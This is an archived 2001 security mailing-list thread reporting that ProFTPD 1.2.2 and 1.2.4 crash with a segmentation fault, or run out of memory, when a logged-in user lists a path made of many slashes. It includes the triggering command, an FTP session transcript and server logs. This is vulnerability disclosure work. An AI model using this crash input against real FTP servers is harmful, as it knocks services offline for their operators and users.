Re: Proftpd SIGSEGV

["Nelson Sampaio Araujo Junior" <nelson () lunenetworks com br>]

I've got an "Out of memory during globbing of /////...../////" on Mandrake
8.1

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Nelson Junior
nelson () lunenetworks com br
nelson () LUNE com br
----- Original Message -----
From: "Joel F" <joelf () dunkan net>
To: "'Yaroslav Klyukin'" <bulldozer () skintwin no-ip com>;
<vuln-dev () securityfocus com>
Sent: Monday, December 31, 2001 6:41 PM
Subject: RE: Proftpd SIGSEGV


> Confirmed.  However, this only happens if I use a linux based ftp.  If I
> used the default XP ftp client, it lists the dirs with the //s in front
> of them, same login, same procedure from other linux boxes or localhost
> gives the results you found..
>
> -----Original Message-----
> From: Yaroslav Klyukin [mailto:bulldozer () skintwin no-ip com]
> Sent: Sunday, December 30, 2001 6:53 AM
> To: vuln-dev () securityfocus com
> Subject: Proftpd SIGSEGV
>
>
> I have found some strange things happening with proftpd (I tried 1.2.2
> and 1.2.4. on different systems)
>
> When you issue
> ls ////////////////////////////////////////////////////////////////////
>
> command it will catch SIGSEGV and exit (11)
>
> I am not sure if it is already known, i send it just in case.
>
> Example:
>
>
> [root@desktop skintwin]# /usr/local/sbin/proftpd
> [root@desktop skintwin]# ftp localhost
> Connected to localhost.localdomain.
> 220 ProFTPD 1.2.4 Server (ProFTPD Default Installation)
> [desktop.skintwin.no-ip.com]
> Name (localhost:skintwin):
> 331 Password required for skintwin.
> Password:
> 230 User skintwin logged in.
> Remote system type is UNIX.
> Using binary mode to transfer files.
> ftp> ls
> ////////////////////////////////////////////////////////////////////////
> ///////////
> 227 Entering Passive Mode (127,0,0,1,4,100).
> 150 Opening ASCII mode data connection for file list
> 421 Service not available, remote server has closed connection
> ftp>
>
>
> In log files i have:
>
>
>
> Dec 30 17:46:27 desktop proftpd[1329]: desktop.skintwin.no-ip.com -
> ProFTPD 1.2.4 (release) (built Сбт Дек 29 23:27:35 MSK 2001) standalone
> mode STARTUP
> Dec 30 17:46:35 desktop proftpd[1331]: desktop.skintwin.no-ip.com
> (localhost.localdomain[127.0.0.1]) - FTP session opened.
> Dec 30 17:47:09 desktop proftpd[1331]: desktop.skintwin.no-ip.com
> (localhost.localdomain[127.0.0.1]) - ProFTPD terminating (signal 11)
>
>
>
>
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